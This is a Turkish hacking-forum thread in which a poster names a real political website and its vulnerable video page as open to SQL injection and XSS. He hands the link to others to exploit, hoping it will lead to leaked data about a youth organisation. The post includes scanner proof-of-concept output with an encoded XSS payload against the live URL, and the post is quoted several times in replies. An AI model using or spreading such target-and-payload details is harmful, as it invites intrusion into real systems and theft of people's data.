[SQL] Kömürist sitesinde SQLi+XSS (Denemedim)

Konu Head'ındaki gibi, kömünist sitesinde XSS+SQLi var. Denemedim ya da uğraşmadım linki bırakıyorum rez gelirse Ak Gençlik leaklarıda gelir.

http://www.arizasiz.com/m/video.php?id=95

Hidelemedim.. Eti sizin hadi kemiğide...

Unutmadan POC Çıktısı (Hidelendi..)

[!] Now Scanning for XSS
[!] Please wait ....
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: <a class="fb" href="http://www.facebook.com/sharer.phpu=http://www.arizasiz.com/m/video.php?id=95x"x>x"></a>
[*] POC: http://www.arizasiz.com/m/video.php?id=95%78%22%78%3e%78
[*] Happy Exploitation
[!] Congratulations you've found 1 bugs

 

eline sağlık

 

çıktığa kullandığın tool nedir

 

çıktığa kullandığın tool nedir

Çok bilinmeyenlerden. PM atarsan GitHub adresini verebilirim.

 

eline sağlık

 

sağol

 

Thank you

 

eline sağlık

 

Konu Head'ındaki gibi, kömünist sitesinde XSS+SQLi var. Denemedim ya da uğraşmadım linki bırakıyorum rez gelirse Ak Gençlik leaklarıda gelir.



Hidelemedim.. Eti sizin hadi kemiğide...

Unutmadan POC Çıktısı (Hidelendi..)

[!] Now Scanning for XSS
[!] Please wait ....
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: <a class="fb" href="http://www.facebook.com/sharer.phpu=http://www.arizasiz.com/m/video.php?id=95x"x>x"></a>
[*] POC: http://www.arizasiz.com/m/video.php?id=95%78%22%78%3e%78
[*] Happy Exploitation
[!] Congratulations you've found 1 bugs

Tebrikler

 

Güzl

 

eyw

 

kömürist nedir yenimi çıktı o ideoloji

 

Konu Head'ındaki gibi, kömünist sitesinde XSS+SQLi var. Denemedim ya da uğraşmadım linki bırakıyorum rez gelirse Ak Gençlik leaklarıda gelir.



Hidelemedim.. Eti sizin hadi kemiğide...

Unutmadan POC Çıktısı (Hidelendi..)

[!] Now Scanning for XSS
[!] Please wait ....
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: <a class="fb" href="http://www.facebook.com/sharer.phpu=http://www.arizasiz.com/m/video.php?id=95x"x>x"></a>
[*] POC: http://www.arizasiz.com/m/video.php?id=95%78%22%78%3e%78
[*] Happy Exploitation
[!] Congratulations you've found 1 bugs

dx

 

Saol